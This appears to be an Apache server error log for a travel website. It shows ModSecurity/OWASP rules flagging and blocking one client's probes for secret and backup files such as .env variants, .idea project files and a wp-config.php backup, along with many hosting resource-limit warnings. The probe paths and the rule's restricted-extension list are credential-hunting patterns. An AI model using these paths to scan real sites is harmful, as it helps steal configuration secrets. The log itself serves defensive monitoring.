[Fri Jul 17 08:55:17.495694 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup.swp"] [unique_id "almgnYZvbo7N5o5zeYC-VwAAABw"]
[Fri Jul 17 08:55:17.496051 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.swp"] [unique_id "almgnYZvbo7N5o5zeYC-VwAAABw"]
[Fri Jul 17 08:55:17.496440 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.swp"] [unique_id "almgnYZvbo7N5o5zeYC-VwAAABw"]
[Fri Jul 17 08:55:17.496634 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.496823 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYZvbo7N5o5zeYC-VwAAABw"]
[Fri Jul 17 08:55:17.497288 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.501855 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.503278 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.tmp"] [unique_id "almgnboj0IkvhSCYadmBlAAAAAQ"]
[Fri Jul 17 08:55:17.503586 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.tmp"] [unique_id "almgnboj0IkvhSCYadmBlAAAAAQ"]
[Fri Jul 17 08:55:17.503717 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.503844 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnboj0IkvhSCYadmBlAAAAAQ"]
[Fri Jul 17 08:55:17.508204 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".idea" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.idea/workspace.xml"] [unique_id "almgnQ7FYe46zHK_jL3PxwAAABk"]
[Fri Jul 17 08:55:17.508504 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.idea/workspace.xml"] [unique_id "almgnQ7FYe46zHK_jL3PxwAAABk"]
[Fri Jul 17 08:55:17.508640 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.508773 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ7FYe46zHK_jL3PxwAAABk"]
[Fri Jul 17 08:55:17.512173 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".idea" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .idea found within REQUEST_FILENAME: /.idea/datasources.xml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.idea/dataSources.xml"] [unique_id "almgnYl9vhFBGA6D8l958wAAAAw"]
[Fri Jul 17 08:55:17.512333 2026] [authz_core:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/uploads/wp-config.php.bak
[Fri Jul 17 08:55:17.512472 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.512478 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.idea/dataSources.xml"] [unique_id "almgnYl9vhFBGA6D8l958wAAAAw"]
[Fri Jul 17 08:55:17.512595 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.512737 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYl9vhFBGA6D8l958wAAAAw"]
[Fri Jul 17 08:55:17.514718 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.518678 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup.backup"] [unique_id "almgnSRF0UOO1RzB5_8uAwAAAA4"]
[Fri Jul 17 08:55:17.518986 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.backup"] [unique_id "almgnSRF0UOO1RzB5_8uAwAAAA4"]
[Fri Jul 17 08:55:17.519312 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.backup"] [unique_id "almgnSRF0UOO1RzB5_8uAwAAAA4"]
[Fri Jul 17 08:55:17.519450 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.519595 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSRF0UOO1RzB5_8uAwAAAA4"]
[Fri Jul 17 08:55:17.519897 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.520481 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.521403 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.528509 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.534859 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.541080 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/xmlrpc.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.548711 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.548947 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.553522 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.556435 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.557089 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.558222 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.562473 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.565840 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup-backup"] [unique_id "almgnQ7FYe46zHK_jL3PyAAAABk"]
[Fri Jul 17 08:55:17.566207 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup-backup"] [unique_id "almgnQ7FYe46zHK_jL3PyAAAABk"]
[Fri Jul 17 08:55:17.566358 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.566482 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.copy"] [unique_id "almgnSRF0UOO1RzB5_8uBAAAAA4"]
[Fri Jul 17 08:55:17.566530 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ7FYe46zHK_jL3PyAAAABk"]
[Fri Jul 17 08:55:17.566872 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.copy"] [unique_id "almgnSRF0UOO1RzB5_8uBAAAAA4"]
[Fri Jul 17 08:55:17.567055 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
